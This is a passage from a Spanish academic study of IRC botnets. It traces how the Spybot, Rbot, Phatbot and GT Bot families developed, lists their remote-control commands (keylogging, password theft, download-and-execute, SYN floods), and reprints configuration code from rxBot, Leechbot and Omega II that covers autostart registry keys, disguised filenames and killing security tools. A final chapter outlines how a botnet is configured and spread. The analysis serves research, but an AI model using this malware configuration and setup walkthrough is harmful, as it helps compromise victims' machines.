• Envíos DCC (probado tan sólo en MIRC)

• Chat por DCC

• Proporciona información del sistema en el ordenador infectado

• Comprobación del hostmask en el login: Si intentas identificarte en un Host

distinto a uno definido como de confianza, no puedes acceder al bot.

• Acceso a las contraseñas en sistemas Windows 9x

• Permite ejecutar, borrar y renombrar archivos



• Envío de códigos de programas

• Abrir/Cerrar el CDROM

Figura 5.3: Comandos Spybot

Comandos: Login password raw [raw command] (example: raw PRIVMSG #spybot1.1 :hello) list [path+filter] (example: list c:\*.*) delete [filename] (example: delete c:\windows\netstat.exe) execute [filename] rename [origenamfile] [newfile] (example: rename c:\windows\netstat.exe makedir [dirname] (example: makedir c:\test\ ) startkeylogger (info: Comienza keylogging) stopkeylogger sendkeys [keys] (info: Simula cualquier tecla) keyboardlights (info: Enciende la luces del teclado 50 veces) info passwords (info: Muestra las contraseñas de win9x) listprocesses (info: Muestra todos los procesos) killprocess [processname] (example: killprocess taskmgr.exe) reconnect disconnect [sec.] (info: Desconecta el bot por [sec] segundos) quit reboot cd-rom [0/1] (info: abre/cierra cd-rom. cd-rom 1 = abre cd-rom 0 = cierra)



5.2.2 Versión 1.2

La siguiente versión, también modificada por mich, estaba compuesta de dos

subversiones (1.2a y 1.2b), la primera de ellas data de en abril del 2003 y contenía las

siguientes mejoras:

• Servidor HTTP: El bot instala un servidor http en el ordenador remoto

escuchando en el puerto que le indiquemos

• Lista todos los hilos que estén corriendo y elimina hilos determinados

• Analizador de puertos.

• Ataques de Denegación de Servicio por SYN Flood

• Kuang2 y Sub7 “spreaders”

• Kazaa “spreader”

• Permite abrir cmd.exe remoto (sólo en Win xp-2000)

La mayoría de los módulos de los “spreaders” o de los escáner de puertos, add-ons que

el autor introduce de una versión a otra, es código fuente reciclado, es decir, este bot,

comparte mucho código fuente con otros y viceversa, por lo que es difícil saber quien

realmente introdujo tal o cual modulo por primera vez. Normalmente, el autor

simplemente monta su bot añadiendo funcionalidades de bots anteriores o que se

encuentre por Internet, cosa por otra parte, muy lógica, dado que es normal que un

programador reutilice código fuente ya utilizado y testado antes de desarrollarlo él

mismo.

La segunda de ellas, la 1.2b se liberó tan sólo dos semanas después, y añadía:

• Mejoras para el SYN Flood para Windows 2000 y XP: Este módulo es

originario de sdbot

• Descarga y ejecución remota

• Se añade la opción de desinstalar el bot

• Mejoras en el scanner de puertos

• Se permite enviar comandos cifrados

• Redirigir tráfico desde el canal publico del IRC a un DCC o canal privado



Figura 5.4: Comandos Spybot versión 1.2

5.2.3 Versión 1.3

Con las nuevas mejoras de la versión 1.2b el bot comenzó a popularizarse, muchos

desarrolladores comenzaron a añadir módulos y mejoras para el bot.

Con la publicación de esta versión, llegaron modificaciones realizadas por terceros con

el afán de mejorar el programa inicialmente lanzado por mich, gracias a esto, el bot

alcanza su mayor auge.

La versión 1.3 original fue lanzada en Mayo del 2003, contenía las siguientes novedades:

• Arregla el problema en la conexión con algunos servidores IRC

• Añade el “spreader” de NetBios

• Permite consultar la versión del bot y hacer ping

• Se solucionan ciertos problemas con el comando de descargas

• Permite que el bot interactúe con el canal cada x segundos

Sin embargo es con las modificaciones (“mods”) posteriores donde encontramos las

mejoras más interesantes:

Nuevos comandos: reboot httpserver [port] [root-dir] (example: httpserver 81 c:\) syn [host] [port] [delay msec.] [times] (example: syn 127.0.0.1 80 100 1000) redirect [input port] [host] [output port] (example: redirect 100 eu.undernet.org 6667) threads (info: Muestra los hilos) killthread [number] (info: Elimina el hilo seleccionado) get [filename] (example: get c:\windows\system\keylogs.txt llegará via dcc) opencmd (info: cmd.exe oculto en el pc remoto) cmd [command] (info: Envía un comando al cmd.exe scan [start ip address] [port] [delay] [filename] (example: scan 127.0.0.1 17300 1 portscan.txt download [url] [filename] (example: downloadhttp://127.0.0.1/server.exe c:\server.exe) server [new server address] (example: server 127.0.0.1) uninstall (info: Desinstala el servidor, no lo borra, tan sólo no lo carga en el inicio) spy (info: Redirige todo el tráfico del canal al dcc) stopspy (info: Detiene el bot)



• Spybot 1.3aCe: Usa el módulo de sdbotAE comentado anteriormente, un

inyector de dll escrito en ensamblador por aphex e introducido en este bot por

Cryptometh.

• Spybot 1.3m: Mod lanzado por trusolja, realmente, tan sólo corregía algunos

fallos, sobre todo en el “spreader” de NetBios.

• Tg-spy: Realizado por Tech and gh3tt0. Es realmente el mod más importante de

esta versión, casi puede ser considerado una nueva, añade nuevas características:

como un nuevo “spreader” (Netdevil), captura claves de programas, permite

clones o te informa del aim (cliente de mensajería instantánea) de la víctima. Por

otra parte, elimina algunas características que no eran demasiado útiles en

versiones anteriores, como la función de abrir y cerrar el cd-rom.

Después de esto, en junio del 2003, se liberó una nueva versión oficial por mich, la 1.4,

pero no contenía apenas mejoras, aparte de las que ya habían sido añadidas por terceros

y el bot dejo de ser actualizado.

5.3 Rbot /rxbot/rx

Definitivamente, si tenemos que estudiar el bot más distribuido y modificado de todos,

seria sin duda Rbot (con sus múltiples nombres, robot, rx...), cuenta con decenas de

variantes distintas en cada una de sus versiones.

Programado en C++ su primera versión fue lanzada en Enero del 2004, sus creadores,

un grupo de 5 programadores: Nils, D3ADLiN3, Edge, bohika y rewe.

Las primeras versiones fueron bastante experimentales, la primera lanzada al público, la

0.2, no contenía demasiadas funcionalidades y se limitaba a que funcionase

correctamente en la comunicación con el IRC.

La siguiente versión fue ampliamente mejorada, el equipo realizó un gran trabajo para

sacar la version 0.3 con bastantes mejoras, entre ellas encontramos:

• Se añaden comandos para capturar los numeros de series de programas

• Se añaden SYN/UDP/PING floods



• Se mejora el código fuente

• Se arreglan bug, como por ejemplo en la funcion de descargas

Sin embargos, estas dos versiones pasaron un poco desapercibidas en la comunidad,

fuera del mismo grupo de programacion, apenas nadie realizaba modificaciones, ni

sacaban nuevas versiones para este bot.

Tímidamente, nos encontramos con la version 0.3.2 y algunos terceros desarrolladores

se animan a publicar nuevas mejoras y modificaciones al programa, la versión original

del bot mejoraba la estabilidad y añadia nuevas caracteristicas que lo hacian bastante

interesantes. Comienza el estudio cronológico a partir de este punto:

• Marzo del 2004 se añade una nueva funcionalidad al bot, la capacidad de

extenderse usando las técnicas de infección del gusano MyDoom, a partir de

aquí, todo se acelera.

Hasta ese momento, el codigo fuente del bot habia sido “monolitico”, muy poco

modulado, todas las funciones se encontraban en el mismo fichero “rbot.cpp” y

tan sólo habian un par de archivos de cabecera extras (básicamente unas

funciones auxiliares del protocolo tcp/ip y otra para el control de redundacia).

Con la adiccion de este modulo (“spreader”) la siguiente version del bot,

cambiaria completamente,tanto su filosofia como su complejidad.

De los 6 archivos que podemos encontrar en la version 0.3.2 (version “oficial”

sin modificar) pasamos a 135 archivos de cabecera y fuentes que se añaden a la

siguiente versión, casi todo módulos nuevos. Teniendo en cuenta que fue

lanzado apenas un mes y medio de la versión anterior, nos dá una idea de el

trabajo que tuvieron que realizar estos programadores.

• 4 Abril del 2004, se lanza la version 0.3.3. Racerx90 primordialemente y

xwarlordx realizan una serie de modificaciones en el código fuente, llegando

incluso a reescribir módulos enteros de código. Añaden nuevos módulos de

funcionalidades, como por ejemplo, el de reinicio,el exploit sub7…Tambien se

porta código desde otros bots (Phatbot), más concretamente el exploit

Dameware y se mejora el manejo de excepciones para la recuperacion de las

“caidas” del bot.



Sin embargo, al poco de salir esta versión, a finales de Abril (30 de Abril) el

virus Sasser infecta cientos de miles de ordenadores en todo el mundo

aprovechando una vulnerabilidad en el servicio lssas del Windows 2000 y XP.

Rápidamente los creadores de bots se ponen a trabajar para añadir el código de

expansión del bot a sus creaciones, la gran modularidad de este bot, permite que

apenas 20 dias despues salga una nueva version de Rbot incluyendo esta

caracteristica (concretamente: rBot_(rxbot)_041504-dcom-lsass-priv-fixedOptix)

que como el propio archivo indica, aparte de la famosa vulnerabilidad, incluye

Dcom y una versión mejorada de Optix. Aprovechando tambien el lanzamiento

para mejorar los modulos de sniffing y de ftp.

No obstante, otros programadores alrededor del mundo tienen la misma idea, e

independientemente lanzan nuevas versiones del bot, añadiendo la

vulnerabilidad y otras caracteristicas.

• Mayo de 2004 se lanza el Mod xFFTx2 que además de lo anterior incluye la

caracteristica de explotar ii5ss.También en Mayo se crea Woopiebot, realizado

por peti y world que aparte de añadir y mejorar el spreader lsass, incluye

interesantes funcionalidades, como por ejemplo, la capacidad de matar procesos,

su sistema anti-antivirus, y la posibilidad de inhabilitar que el usuario pueda

abrir el taskmgr.exe, evitando su detección.

• Junio del 2004, un grupo de desarrolladores italianos, lanzan a la luz si propia

versión de Rbot

(rBot.(rXBot).FTPD.iTALY_DoS_Resilient_RPMiSO_Final_Mod), que incluye:

o Winamp Exploit: Vulnerabilidades encontradas en el reproductor.

o iis5ssl: Característica heredada de algunos bots anteriores

o Psniff: Se elimina el sniffer por defecto del bot y se añade, más versátil y

usado por Phatbot.

o Dcom: Vulnerabilidad añadida de MOD´s anteriores

Otro de los MOD´s aparecido en Junio es Rbot dimensionfix, desarrollado por

Mirax con dos versiones diferentes, la primera, la versión 4.3, realiza varias

modificaciones, simplificando el bot un poco:



o Elimina alguno de los scanners, haciendo el bot un poco más ligero

o Mejora el módulo anti-antivirus

o Repara algunos fallos en la conexión con el servidor IRC.

• A finales de julio del 2004, nos encontraos con el mod snRxbot, de SnTral, que

añade el exploit de WebDav, la actualización para DCOM (dcom2) y nuevos

sniffers para ssh, php, http, ftp e IRC.

En Julio también nos encontramos con rXDCBot, una mezcla entre sdbot, spybot

y r bot, desarrollado por r3v que añade muchas mejoras, entre ellas, encontramos:

o Permite capturar pantallas remotamente

o Se añaden nuevos keyloggers

o Nuevos “spreaders” (DCOM, OPTIX…)

o Eliminadores de procesos y de antivirus

o Permite abrir shells remotas

o Capturador de contraseñas en caché

• Agosto del 2004, sale a la luz la versión siguiente de Rbot dimensionfix (4.4),

lanzada por un desarrollador diferente, SeminolePride: Añade el spreader UPNP

para Windows XP y actualiza a la segunda versión de del spreader Lsass

(denominada lsass2).

• Septiembre 2004: A partir de este momento, parece que la actividad en cuanto

al lanzamiento de modificaciones para esta familia se detiene, DiablO crea el

mod: sky2k4, el cual, aparte de arreglar algunos fallos en spreaders y optimizar

el análisis de redes, no ofrece nada nuevo excepto la eliminación de necesitar

tener instalado el Service Pack para las actualizaciones del bot.

La actividad del bot va decayendo progresivamente, destacando tan sólo el

ultimo mod encontrado, fechado en febrero del 2005, Rx-ASN, que incluye el

exploit para la vulnerabilidad de Microsoft ASN1 (CAN-2003-0818).



5.3.1 Los comandos

Sería imposible, listar aquí los comandos de cada una de las versiones distintas, sin

embargo, al ser el bot común para todas, al menos el 90% de los comandos no varían de

una versión a otra. En el anexo B se muestra la lista completa de comandos del bot Rx-

MP.

5.4 Phatbot/Agobot

Sin duda, una de las más fáciles de usar y por tanto, una de las más extendidas entre los

script-kiddies.

Programada por Ago y por Phatty, la primera versión liberada vio la luz en marzo del

2004, contemporánea por tanto de la familia Rbot, no tuvo tantas modificaciones como

esta, pero sin embargo, en ciertos aspectos es claramente superior.

El estudio a fondo de esta familia es un poco más complejo que sus predecesores, a

pesar de ser una de las distribuciones más extendidas, no existe demasiado código,

apenas un par de revisiones y un par de modificaciones, decir también que los autores, a

pesar de liberar una versión pública bajo licencia GPL, proveen una versión privada con

más funcionalidades y de pago.

Entre sus características:

• Es un bot con “soporte”:Es posible pagar al autor por las modificaciones y

actualizaciones

• Escrito completamente en C++

• Permite usar los compiladores más famosos, tanto para Windows como para

Linux,: Visual Studio, Mingw32, Bcc y Gcc

• El programa ha sido probado correctamente por el equipo de desarrollo tanto en

Windows 2000 y XP como para Linux y FreeBsd



• El sistema de empaquetamiento para la distribución del bot, es el ya conocido

UPX

• El programa incluye en todas sus versiones con un sistema de control de

subversiones (CVS), para controlar las actualizaciones del código fuente

• Cuenta con un editor de configuración, en el que podemos introducir todos los

datos necesarios, dicho archivo (configui.exe) generará un archivo de cabecera

que tendremos que añadir al proyecto para compilar. Este es uno de los puntos

fuertes de este bot

Figura 5.5: Editor de configuración de Phatbot

Las novedades y funcionalidades son muchas, destacamos:

• Ejecución de archivos remotamente

• Información del sistema y de la conexión del equipo

• Envío de comandos RAW al servidor IRC

• Permite hacer test de velocidad

• Descarga mediante Http/Ftp



• Actualizaciones

• Permite Denegaciones de servicio distribuidas avanzadas

• Redirección de trafico

• Establecimiento de Proxies en el equipo remoto

• Análisis de vulnerabilidades y redes

Para consultar la lista completa de comandos de este bot, ver anexo C:

Figura 5.6: Evolución temporal de las familias



5.5 GT Bot (Global Threat bot)

La última de las grandes familias que vamos a estudiar, sin embargo, no nos vamos a

entretener a estudiarla demasiado a fondo porque es, con diferencia, la menos práctica y

la que más se aleja del estudio de este proyecto.

La familia de bots GT se basan en el popular programa de IRC mirc, de hecho, el bot en

si no es nada más que un cliente de este programa renombrado (normalmente a

temp.exe) corriendo en modo oculto. Utiliza para ello el programa HideWindow que

permite esconder ventanas de programas al usuario. Este cliente de IRC posee una serie

de scripts que permiten realizar todas las actividades propias de un bot. Los

inconvenientes de este tipo de bots y por lo que no vamos a pasar a estudiarlo

detalladamente son varios:

Por un lado, su capacidad de infección está limitada a que el usuario ejecute el cliente

de MIRC, esto no seria complicado si no fuera porque además necesita tener en el

mismo directorio del que se ejecuta todos los archivos de configuración, los scripts y los

ejecutables que han de ser usados.

La vía más usual de infección de este bot, es intentar hacer creer al incauto usuario que

se trata de una utilidad de limpiar malware.

Por tanto, no resulta interesante para el estudio ya que no contiene código que se

aproveche de vulnerabilidades ni “spreaders”.

Otro inconveniente es que todo los programas que tengan que ser usados deben ser

cargados externamente, por lo tanto, deben estar todos juntos en directorio del bot, lo

cual facilita su detección y nos limita a usar programas que ya estén compilados y con

su ejecutable disponible mermando la modularidad del programa y nos elimina la

posibilidad del estudio del bot en profundidad, ya que el código fuente del script se

dedica a llamar a las aplicaciones externas.

Por lo demás, el programa provee de las características típicas de un bot medio de

control: Permite ejecutar comandos remotamente, lanzar DDOS y controlar el bot en los

canales IRC, con lo que tampoco aporta nada nuevo ni novedoso.



Sin embargo, nos hemos encontrado con una gran variedad de mod´s para esta familia,

entre los que podemos destacar Gt-spam, Gt-Sev, Gt-dimension, Gt-badteam,…

Figura 5.7: Directorio que contiene al bot.



Tabla 5.1: Características de las diferentes familias

Bot Lenguaje Compiladores Sistema

Operativo

GUI Fecha Autores Empaquetado

SDbot C/C++ Visual

Studio

Lcc

Windows NO Enero

2002

[sd] UPX

SpyBot C Visual

Studio

Lcc

Windows NO Marzo

2003

Mich NO

Rbot C/C++ Visual

Studio

Windows NO Enero

2004

Nils,

Deadline

edge

bohika

rewe

NO

Phatbot

Agobot

C++ Visual

Studio

Windows

Linux

Freebsd

SI Marzo

2004

Phat

Ago

UPX



Capítulo 6

Montaje de una botnet Como se indica en el principio del punto anterior, el ciclo de vida de una red de bots se

puede dividir en fases cíclicas:

• El ‘bot-herder’ configura los parámetros iniciales del bot, tal como los vectores

de infección, el payload, ocultamiento y los detalles de C&C

• Procede al registro del DDNS

• El ‘bot-herder’ lanza los bots-semilla. Comienzo de la infección

• Fase de crecimiento- expansión-propagación

• Pérdida de bots a otras botnets

• Pico de máximo crecimiento

• Abandono de la botnet

• Da de baja el DDNS

En este punto vamos a estudiar cómo se monta un bot, cómo se expande y los pasos que

realiza el dueño de la botnet para conseguir el control de los ordenadores de manera

remota.

6.1 Configuración del bot

Se diferencian dos maneras de establecer los parámetros de configuración de un bot:

1. Manualmente: Modificando directamente el código fuente del bot según

nuestras necesidades. Normalmente se usan #defines (al ser la mayoría

programado en C/C++) al comienzo del programa.

Dentro de esta categoría nos encontramos dos tipos:

1.1) Código de configuración en el mismo programa: Es el más común en

los bots, sobre todo en los de más reducido tamaño, aquí nos se encuentran



desde el simple coromputer dunno, en el que sólo se configura el

servidor, el canal, el del nick y unos pocos parámetros más:

Figura 6.1: Ejemplo de configuración del bot Coromputer dunno

Hasta otros más complejos, como Rbot, que permite definir opciones tan

variadas como las claves del registro de Windows en las que serán introducidas,

el canal de chat donde serán redirigidos los registros del keylogging o el nombre

del programa con el que se ejecutará en el inicio.

#define SERV "Geneva.CH.EU.Undernet.org" /* Don't forget to put the IRC server with his Upper Cases */ #define FILLE "lala.txt" /* temporary file where WHO list will be placed at the end it will be erased */ #define TIMEOUT 4 /* seconds */ #define LOG "log.txt" /* log file where results will be writed(when you dont use verbose mode */ #define NICK "ZaIrcBot" /* the nick of the bot */



Figura 6.2: Archivo de configuración de Rbot

unsigned short port = 6667; // server port unsigned short port2 = 6667; // backup server port unsigned short socks4port = 12221; // Port # for sock4 daemon to run on - CHANGE THIS!!! unsigned short tftpport = 69; // Port # for tftp daemon to run on unsigned short httpport = 2001; // Port # for http daemon to run on unsigned short ftpport = 21; // Port # for ftp daemon to run on unsigned short rloginport = 513; // Port # for rlogin daemon to run on BOOL topiccmd = TRUE; // set to TRUE to enable topic commands BOOL rndfilename = FALSE; // use random file name BOOL AutoStart = FALSE; // enable autostart registry keys char prefix = '.'; // command prefix (one character max.) int maxrand = 4; // how many random numbers in the nick int nicktype = CONSTNICK; // nick type (see rndnick.h) BOOL nickprefix = TRUE; // nick uptime & mirc prefix #ifdef DEBUG_LOGGING char logfile[]="c:\\debug.txt"; #endif #ifndef NO_CRYPT // Only use encrypted strings or your binary will not be secure!! // INSERT OUTPUT FROM .ENCRYPT COMMAND HERE!! #else // Recommended to use this only for Crypt() setup, this is unsecure. char botid[] = "rx01"; // bot id char version[] = "[rxBot v0.6.6 b]"; // Bots !version reply char password[] = "changeme"; // bot password char server[] = "irc.rizon.net"; // server char serverpass[] = ""; // server password char channel[] = "#rxbot"; // channel that the bot should join char chanpass[] = ""; // channel password char server2[] = ""; // backup server (optional) char channel2[] = ""; // backup channel (optional) char chanpass2[] = ""; // backup channel password (optional) char filename[] = "wuamgrd.exe"; // destination file name char keylogfile[] = "keys.txt"; // keylog filename char valuename[] = "Microsoft Update"; // value name for autostart char nickconst[] = "[RX]|"; // first part to the bot's nick char modeonconn[] = "-x+B"; // Can be more than one mode and contain both + and - char chanmode[] = "+n+t"; // Channel mode after joining char exploitchan[] = ""; // Channel where exploit messages get redirected char keylogchan[] = ""; // Channel where keylog messages get redirected char psniffchan[] = ""; // Channel where psniff messages get redirected char *authost[] = { "*@*.net", "*@*.com" }; char *versionlist[] = { "mIRC v6.03 Khaled Mardam-Bey", "mIRC v6.10 Khaled Mardam-Bey", "mIRC v6.12 Khaled Mardam-Bey", "mIRC v6.14 Khaled Mardam-Bey" }; char regkey1[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; char regkey2[]="Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"; char regkey3[]="Software\\Microsoft\\OLE"; char regkey4[]="SYSTEM\\CurrentControlSet\\Control\\Lsa";



1.2) Código de configuración en un fichero de cabecera externo: Como

Leechbot en el que todas las opciones de configuración se realizan en el fichero

config.h que se debe modificar según las necesidades:



Figura 6.3: Ejemplo de archivo de cabecera externo del bot Leechbot

// bot configuration char botid[] = "leechprv"; // bot id char password[] = "test"; // bot password char server[] = "irc.phedny.net"; // server int port = 6667; // server port char serverpass[] = ""; // server password char channel[] = "#mow"; // channel that the bot should join char chanpass[] = "test"; // channel password char server2[] = "irc.server2.com"; // backup server (optional) int port2 = 6667; // backup server port char channel2[] = "#xxx"; // backup channel (optional) char chanpass2[] = "test2"; // backup channel password (optional) const int maxlogins = 3; // maximum number of simultaneous logins char *authost[] = {"*@*1.2.3.4", "*@*i.own.net", "\0"}; // Wildcards supported =) char exploitmsgchan[] = "#backup"; char filename[] = "backup.exe"; // char scanlog[] = "sys.dll"; char keylogfilename[] = "keylog.txt"; char prefix = '.'; const BOOL useexploitchan = TRUE; const char mutexname[] = "changethis"; const int sock4port = 45678; // char valuename[] = "System Information Manager"; char runkey[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"; char servicekey[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunServices"; const int maxaliases = 16; const char bversion[] = "Leechbot s2.0b Private"; const char version[] = "Leechbot s2.0b Private"; const char *szLocalPayloadFile="backup.exe"; // same as botname const char *versionlist[] = { "ionicon.v3beta", }; const char nickconst[] = "[P][Leech]"; // const int maxrand = 8; // #define Use_Firewall_killer #define Flood_delay 1000 #define MAX_PORTSCAN_SOCKETS_TO_USE 10 #define start_keylogger_afterstartup const BOOL topiccmd = TRUE; const BOOL rndfilename = FALSE; const BOOL nopm = FALSE; const BOOL noprefix = FALSE; const BOOL AutoStart = TRUE; #ifndef Use_Firewall_killer int killer_delay = 2000; char *kill_list[]={ "REGEDIT.EXE", "MSCONFIG.EXE", "TASKMGR.EXE", "NETSTAT.EXE", "TASKMON.EXE", NULL }; #endif //on join usermodes char *usermodes[]={ "+i", "-s", NULL }; char *chanmodes[]={ "+nts", NULL };



No sólo se introducen los cambios mediante #defines, OmegaII, en su fichero

de cabecera de configuración conf.h, hace que la información se encuentre en

variables diseñadas a tal efecto:

Figura 6.4: Archivo de configuración del bot Omega II

s_info irc_info[] = { {"192.168.47.1",6667,"ch4ng3m3n0w","#dojo","eye_of_dragon"}, {"irc.area51.se",6667,"","#dojo","art_of_zen"}, {"irc.mindimage.net",6667,"","#dojo","art_of_zen"}, {"irc.firelab.net",6667,"","#dojo","art_of_zen"}, {"irc.hell.at",6667,"","#dojo","art_of_zen"}, {"irc.efnet.net",6667,"","#dojo","way_of_tao"}, {"irc.choopa.net",6667,"","#dojo","way_of_tao"}, {"irc.prison.net",6667,"","#dojo","way_of_tao"}, {"irc.kagmir.ca",6667,"","#dojo","way_of_tao"} }; /////////////////////////////////////////////////////////// // This will determine what type of nicks to use. // //#define RAND_NICK // Random lowercase nicks. //#define INFO_NICK // Prepend a letter for the host. //#define ARRY_NICK // An array of nicks. //#define HYBRID_NICK #define HYBRID2_NICK /////////////////////////////////////////////////////////// // The array of nicks to use for the bot if ARRY_NICK // is not defined. #ifdef ARRY_NICK char *bot_nick[] = { "omega", "omega_", "omega__", "omega___", "omega`" }; #endif /////////////////////////////////////////////////////////// // The array of nicks to use for the bot if HYBRID_NICK // is not defined. #ifdef HYBRID_NICK char *alt_nick[] = { "[TAO]", "[ZEN]" }; #endif /////////////////////////////////////////////////////////// // The array of nicks to use for the bot if HYBRID2_NICK // is not defined. #ifdef HYBRID2_NICK char *alt_nick1[] = { "sun", "open", "terra" }; char *alt_nick2[] = { "shine", "server", "bsd" }; char *alt_nick3[] = { "`", "_", "__" };



Las opciones de configuración son enormes y dependerán, evidentemente, de

las funcionalidades implementadas en cada bot.

2. A través de una interfaz gráfica (Graphic User Interface, GUI): Es el menos

común. Tan sólo los bots Phatbot/Agobot, Gspot y DNSX se decantan por este

modelo. Esto es debido a que una de las principales características de un bot es

su gran modularidad y su rapidez de ser adaptado a cualquier nueva

vulnerabilidad o ataque que surja. La Introducción de la GUI haría necesario

modificar más código fuente para introducir nuevas opciones, siendo más simple

editar y añadir líneas de configuración en los archivos correspondientes.

Sin embargo, estos suelen ser los bots más usados por los Script-kiddies, ya que

una interfaz gráfica hace mucho más cómoda y amigable la configuración del

bot y no es necesario tener conocimientos de ningún lenguaje de programación.

Podemos clasificarlos en dos tipos:

2.1) GUI con ejecutable autogenerado: Es el caso de DNSX y G-Spot: En

estos dos bots una vez introducidas todas las opciones de configuración y pulsar

el botón oportuno se genera el ejecutable infectado.



Figura 6.5: GUI del bot Dataspy Network

Figura 6.6: GUI del bot G-spot



Merece una pequeña reseña en este apartado microbot, en el que toda la

configuración se realiza mediante un archivo .BAT en el cual hay que

introducir las opciones que queramos, generando finalmente el ejecutable

Figura 6.7: Configuración del bot microbot

2.2) GUI que genera archivo de configuración externo: Es el caso de Phatbot.

Una vez introducidos los datos que correspondan, no se generará ningún

ejecutable directamente, se crea un archivo de cabecera con la configuración

pertinente que se añade al proyecto para compilar posteriormente.



Figura 6.8: GUI del bot Phatbot

Según el bot, se deben introducir unos valores u otros dependiendo de las opciones que

este posea. Sin embargo, existen opciones comunes a todos ellos, como el nombre del

servidor IRC, el canal IRC (y la contraseña si fuera necesario), el nombre del nick,

etc…

Una vez que hemos introducido las opciones que queramos, se compila el código,

generando el ejecutable (bien sea automáticamente por el GUI o compilando desde un

IDE).

6.2 Proceso de expansión

Si quisiéramos montar una botnet, con el ejecutable en nuestro poder, el siguiente

objetivo sería infectar el mayor número de máquinas posibles. Llegados a este punto,

dependiendo de las características de un bot u otro tendremos que desarrollar vías de

diseminación.



Podríamos clasificar los bots en dos grupos claramente diferenciados, según contengan

o no módulos de diseminación, los “Spreaders”:

1. Sin “Spreaders”: En este grupo estarían bots como G-spot, Leechbot y DSNX,

suelen ser los bots más pequeños sin tantas funcionalidades como los de las

grandes familias.

2. Con “Spreaders”: Es una característica de las grandes familias de bots, se

comenzó a implementar a partir de los gusanos Blaster y Sasser. Sin embargo, el

bot Omega, incluía ya un módulo para su expansión usando NetBios. En este

grupo se encuentran también SDBot (sólo G-Sys), SpyBot ( a partir de la

versión 1.2) y Phatbot.

Sin embargo hay que tener presente que aunque no tengan implementada esta

característica por defecto, se le puede añadir fácilmente a cualquiera de ellos ya que el

código fuente tanto de los bots como de los “spreaders” se encuentra disponible y es

posible modificarlos.

Por tanto, dependiendo de si el bot tiene “spreader” o no nos será más fácil

comprometer un número u otro de sistemas. Mientras que en los bots del primer grupo

el mecanismo de infección es prácticamente manual, un bot con “spreaders” nos permite

realizar esta tarea de manera automática, bastando con infectar uno o un grupo reducido

de ordenadores para dejarlos analizando en busca de nuevas víctimas. Con un menor

esfuerzo, el número de máquinas bajo nuestro control se incrementa de forma

exponencial.

Sea un caso u otro, el dueño del bot siempre tiene que empezar infectando un equipo, el

primer equipo, que denominaremos, bot semilla.

6.2.1 Infectando nuestro primer sistema. El bot semilla

Como hemos indicado nuestro siguiente paso sería infectar un primer sistema (vamos a

ponernos en el caso de que nuestro bot cuente con “spreaders” de lo contrario,

tendríamos que infectar todos individualmente) y a partir de este primer ordenador

diseminar el bot por Internet.



Vías de infección más comunes:

1) Redes Peer 2 Peer: Un método sencillo. Nombramos de una manera atractiva

al ejecutable y se comparte con el resto de la comunidad. Cuestión de

estadística (dado los millones de usuarios que se conectan a estas redes) que

alguien se descargue el ejecutable, lo abra y se infecte.

2) Chat: El Atacante se conecta a un servidor IRC e intenta convencer a

posibles víctimas de que ejecuten un archivo que él les envíe.

3) Programas de Mensajería Instantánea: Similar al anterior, sin embargo las

últimas versiones de estos programas contienen módulos de seguridad que no

permiten el envío de archivos ejecutables o que avisan al usuario de los

posibles riesgos que entrañan la ejecución de ciertos envíos.

4) Paginas Web: Aprovechando un bug en el navegador del ordenador cliente,

cuando la víctima acceda a la pagina Web, esta instalará el programa con el

bot.

5) Email: El método más utilizado, heredado directamente de los gusanos.

Permite enviar correos a una gran cantidad de direcciones de manera

anónima con el ejecutable infectado o bien un enlace a una pagina web que

contiene un exploit para el navegador que ejecute e instale el programa.

6.2.2 Proceso de expansión a otros sistemas.

Con uno o unos pocos sistemas infectados, es cuestión de tiempo y paciencia obtener

una gran cantidad de equipos a nuestra disposición si disponemos un bot con la

capacidad de propagarse. Simplemente tenemos que dejar a los bots analizando e

infectando equipos 24 horas al día 7 días a la semana, la posibilidad de encontrar ya no

sólo decenas, si no cientos de equipos vulnerables es muy alta.



Se analiza en este punto las vulnerabilidades y los “spreaders” más utilizados por las

grandes familias, así como las órdenes empleadas analizar redes de manera automática.

Se diferencian dos métodos principales a la hora de expandirse a otros sistemas:

1. Usando equipos infectados previamente: El bot busca en los puertos más

comunes equipos infectados por troyanos y gusanos, intentando aprovechar las

puertas traseras o identificándose para poder hacer uso del equipo remoto y

ejecutar el bot. Aquí entrarían los siguientes módulos “spreaders” que

comentaremos posteriormente:

• Sub 7 (Troyano)

• Bagle (Gusano)

• MyDoom (Gusano)

• Sasser (Gusano)

• Optix (Troyano)

2. Aprovechando vulnerabilidades. Se comporta como un gusano del estilo Sasser

o Blaster e infecta los equipos si no tienen corregido dicho fallo. Aquí

comentaremos:

• NetBios

• Lsass

• Upnp

• MSSQL

• WebDav

Para ello, se aprovechan de las vulnerabilidades más conocidas, que

comentamos brevemente (Número de vulnerabilidad en notación CERT):

• Vu#753212: Microsoft Lsass service: Desbordamiento de buffer en la

función DsRolepInitializelog() de la interfaz del servicio Local Security



Authority Service Server (LSASS) DCE/RPC, en el modulo de

autentificación del Microsoft Active Directory System.

Concretamente en un uso incorrecto de la función vsprintf(), afectando a

las versiones de Windows Xp, 2000 y 2003 Server y que permite a un

atacante ejecutar código arbitrario en el sistema afectado.

• Vu#568148:RPC vulnerable to buffer overflow: Desbordamiento de

buffer existente en la implementación del Microsoft's Remote Procedure

Call (RPC), que permitiría a un atacante ejecutar código arbitrario en el

sistema.

Figura 6.9: RPC de Microsoft

El fallo viene por un manejo incorrecto de mensajes malformados

afectando a la interfaz DCOM (Distributed Component Object Model)

con RPC, la cual escucha el puerto TCP/135. La interfaz maneja las

peticiones de la activación de objetos que son enviados por las máquinas

clientes al servidor.

• Vu#117394: Buffer Overflow in core Microsoft Windows DLL:

Vulnerabilidad en las librerías WIN32 API, explotadas mediante los

servidores IIS 5.0 con WebDav activados .Permitiría a un atacante

remoto ejecutar código arbitrario en los equipos no actualizados.

Windows contiene un DLL (Dinamic Link Library) llamada ntdll.dll, es

uno de los componentes centrales del sistema operativo usado para

interactuar con el kernel de Windows.

RPC de Microsoft Protocolo usado por el Sistema Operativo Windows.RPC provee un mecanismo de comunicación entre procesos que permite a un programa de un ordenador local ejecutar código en un sistema remoto. Deriva del protocolo RPC de la Fundación de Software Libre, pero con extensiones especificas añadidas por Microsoft.



Existe una vulnerabilidad de desbordamiento de buffer en ntdll.dll la

cual es usada en diferentes componentes de Windows, para procesar las

peticiones de Webdav, Windows utiliza esta dll, enviando una petición

